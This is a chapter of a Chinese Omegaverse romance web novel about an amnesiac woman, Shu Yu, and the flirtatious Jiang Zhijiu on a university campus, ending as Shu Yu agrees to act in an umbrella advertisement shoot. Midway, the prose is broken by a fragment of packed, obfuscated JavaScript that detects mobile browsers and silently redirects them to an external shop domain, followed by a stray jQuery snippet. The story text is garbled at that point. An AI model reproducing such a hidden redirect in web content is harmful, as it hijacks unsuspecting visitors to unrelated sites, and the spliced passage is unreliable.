C大校园繁花锦簇,日光晴朗明亮。
湛蓝如镜的天空上只有两朵亮白色云团在飘动,后方云团在对流层的风中追赶着前方云团,逐渐靠近融为一体,似两朵云团正在拥抱。
舒芋和白若柳先陪姜之久去湖边给小姨家的妹妹送东西。
舒芋带路走进C大古色古香的壮阔朱红门,经过科技感强的扇贝形图书馆,走向北面的假山石桥,白若柳问舒芋:“你有没有觉得特别熟悉的地方?”
舒芋:“我在这里读了五年,哪都熟悉。”
舒芋的本科四年和研究生一年都是在这里读的,事实上研二研三和博一也是在这里读的,但她不记得,只记得前几年的事。
“不是,”白若柳引导她,“就是某一瞬间脑袋里突然有个闪回画面那种,有没有?不属于那五年的画面?”
舒芋试着感受:“没有。”
“算了,医生也说恢复记忆很玄学,不逼问你,不给你压力了,”白若柳走在最右边,闲聊地问中间的姜之久,“久姐是哪个学校毕业的?学什么的?哦对,久姐有很多家酒吧,是商学院的吗?”
“我呀。”姜之久撑了把小花伞,伞面有意无意地向舒芋那边倾斜,为舒芋遮挡烈日紫外线。
舒芋晒久了,皮肤容易过敏,尤其手臂会变红。
姜之久边笑盈盈说:“我是隔壁美院的,画裸’体的。”
舒芋闻言向姜之久投去一眼。
开酒吧,画裸‘体,妹妹多,还有念念不忘的“小香”,真是位很精彩的人。
白若柳继续感兴趣问:“是欧洲油画风那种裸体吗?应该很有艺术观赏性吧?久姐开过画展吗?”
“我开不了画展,”姜之久意味深长地向舒芋那边投去一眼,“我画的大多都是会叫人脸红耳热那种双人的,所以我把个人爱好留给自己,都在家里私藏着,只偶尔卖两幅非裸体画赚点小钱,当然也靠开酒吧赚些零花钱。”
白若柳“哎哟”一声,以纯艺术欣赏的语气问:“是带体位那种吗?”
“白若柳。”舒芋突然出声,声音骤冷。
“没事,不算冒犯,”姜之久言笑自若,“我们学人体艺术的都会大方交流这些,我很喜欢画自己想象的那些体位,比如Alpha手按在Omega肌肤里,或是握住或是抓住或是嵌入,我很喜欢细腻地表现肌肤相贴的那些触感和细节,也很喜欢呈现出疯狂占有欲和激情欲望的画面。”
细腻又强烈的画面,她永远画不够。
突然姜之久望向舒芋,她勾起故意的媚眼:“什么时候舒芋妹妹想刺激一下自己的海马体和神经元寻找记忆,可以去我家欣赏一下我的画。纯艺术欣赏,舒芋妹妹不要多想。”
似调戏,又用着正经行当的借口。
姜之久很会撩人。
舒芋冷淡:“谢谢,我不感兴趣。”
姜之久笑笑不说话,边在心里嘀咕有些人对自己的认知真是不够清晰。
也不知道是谁建议她画裸体的,还总喜欢对着镜子弄她,让她仔细看清楚手指触感的每个明暗细节,甚至还常用陪她画画的借口拉着她不停地弄,她画的每一笔都有这个人的功劳。
“现在不感兴趣,或许以后就感兴趣了,”姜之久对着舒芋绷紧的侧脸,笑得娇软撩人说,“我家里还有个凳子特别漂亮……舒芋妹妹有兴趣的时候,我随时欢迎,真的只是艺术欣赏。”
“我是工科生,没有艺术欣赏品位,不必了,谢谢。”
“那好吧,真遗憾。”
舒芋凉着脸,脑袋里已经出现白若柳说的闪回画面,但画面极其离谱,是她在镜前推姜之久趴在一个红色凳子上,她掐着姜之久的大腿,吻舐姜之久的腺体,镜子里姜之久颤得直落泪,脆弱又迷人,令人着迷。
舒芋将目光望向远处的连绵绿树,耳微红,沉默洗礼自己见不得人的低俗。
走到湖边时,姜之久看到了正在立拍摄场景的小网红妹妹沈以棠,朝那边挥手:“棠棠宝贝。”
沈以棠是up主,有百万粉丝,平常会在视频里夹些广子带货,又是学校摄影社团的社长,正要带社员拍片,广子的收入都会平均分给参与的社员。
“酒酒姐!”
沈以棠放下手里的活,立即朝姜之久冲了上去,一个大怀抱紧紧抱住姜之久,整张脸埋在姜之久脖颈和头发那里深呼吸:“好香好香,全世界都没我姐更香的人了呜呜呜,姐快给我好多好多能量,我好不开心啊。”
沈以棠是姜之久亲小姨家的亲小妹,这么亲密地拥抱姜之久自然无可厚非。
但舒芋还是移开了目光,心里微有不悦。
她自知这种心情没立场没道理,尽量默默调整,淡淡目光落向清澈瓦蓝的湖面。
“好啦,”姜之久笑着推开沈以棠,把单反给她,“把坏的相机给姐,姐这个相机就送你了,宝贝别不开心。”
沈以棠拍短片有自己的摄影机,是她另外拍剧照用的单反坏掉了,快门按不下去。
“呜呜呜我全世界最好的姐姐,”沈以棠一边继续拥抱姜之久,一边不开心地抱怨,“不只是相机的事,还有今天约好的两个小美女临时有事不来了,我找不到人拍,你看我还把同学们和你都给叫来了,麻烦你们都白跑一趟,我真的好内疚……咦?!”
沈以棠边抱怨边抬头看到了一位超漂亮的姐姐,松开姜之久冲到舒芋面前,飞快自我介绍和提出请求:“姐姐您好,我是姜之久的妹妹,我现在缺两个模特,什么都不用做,就撑把伞走两步,姐姐您能帮我一下吗?我这次要推的是晴雨两用的伞,这两天就必须要把视频做出来,求求你帮帮我好吗?片酬和分红我都分给姐姐,我可以什么都不要。”
说话间,沈以棠双手合十用力拜拜,委屈可怜又巴巴地求,急得都快哭出来。
舒芋本能想要拒绝。
但她看着面前的女孩子,除了对女孩子微有不悦,好像女孩子曾占用过姜之久很多时间一样,还对女孩子有种莫名的亲切。
“哎哎,”白若柳在沈以棠面前挥手,“妹妹你看不到我吗?我也可以拍啊,你为什么非要找她?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172638|150516||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>沈以棠看了一眼白若柳,抱歉说:“姐姐,你短头发,和我们产品宣传不太符。”
白若柳无语,拉着舒芋就要走,姜之久走了过来,柔若无骨的手指牵在了舒芋手腕上,柔柔娇娇地小声说:“舒芋,帮我妹妹这一次好吗?我看我妹妹连雨塔都已经叫来了,拜托了,当我欠你一个人情,以后你向我提什么要求,我都答应你,行吗?”
舒芋垂眸看握在她手腕上的手,修长纤细,带着一点烫人的体温,撒娇的嗓音好似随着体温一起钻进她身体里。
“你看直播吗?”舒芋忽然没头没尾地问。
姜之久被问得莫名其妙:“什么直播?”
“直播,不看吗?”
姜之久反应过来了:“哦,你是说我妹妹的直播吗?我很少看,看那个东西会影响我画画的灵感。”
舒芋若有所思。
所以姜汁酒不是姜之久?
“什么要求都可以?”舒芋问回了刚刚话题。
“是呀,什么都可以,但只可以提一个要求,除了你让我离你远点的这种要求,”姜之久往舒芋身前靠近了些,用更低的声音说,“还有如果你想让我和你那个的话,我……”
“我没那想法,”舒芋淡淡打断她,“我帮你妹妹,你也不用欠我人情,我只是帮校友而已。”
“行行行,帮校友,”姜之久喜悦笑着松开舒芋的手,又倾身抱住了舒芋的腰,脸贴在舒芋的锁骨处晃了又晃,“那也要谢谢舒芋宝贝!”
在她察觉快要被舒芋的时候迅速跑开,欢天喜地叫沈以棠:“棠棠宝贝,舒芋姐姐答应了——”
舒芋望着姜之久那抹笑着跑开的红裙与长发,好似一株独一无二的玫瑰幻化成的没有忧虑的可爱妖精,她敛眸低头,也忍不住轻轻笑开。
“舒芋你笑什么呢?”白若柳突然过来好奇问。
舒芋顿时收了笑:“没什么。”
推拉可移动雨棒和降雨塔将地面营造出下雨的迹象后就位,沈以棠调整好各机位后准备开拍,但沈以棠在监视器里看姐姐和舒芋,看了两眼后觉得氛围不对劲也不够味。
“舒姐姐,”沈以棠上前讲戏和调整,“这场画面是你要搂着我姐,这把伞不够大,厂家又不做这个系列的大伞,所以需要你搂紧我姐在这个位置快步跑到那个位置,同时不能让我姐的肩膀淋到雨。”
姜之久拧眉插嘴:“为什么是舒芋不让我肩膀淋到雨?不可以我搂着舒芋,不让舒芋肩膀淋到雨吗?你给我找双高跟鞋,我可以和舒芋差不多高。”
沈以棠说:“因为姐你是一眼弱的Omega。”
姜之久继续拧眉:“Omega就不能保护Alpha了吗?我想保护舒芋。”
沈以棠:“因为剧本里姐你就是需要被保护的一眼弱的Omega。”
姜之久找不到搂舒芋和保护舒芋的理由了。
“所以舒姐姐,”沈以棠看向舒芋,“你要搂紧我姐肩膀才行,您能做到吧?对了,别忘了跑到那个位置后,借位吻我姐。借位就行,您不用真亲。”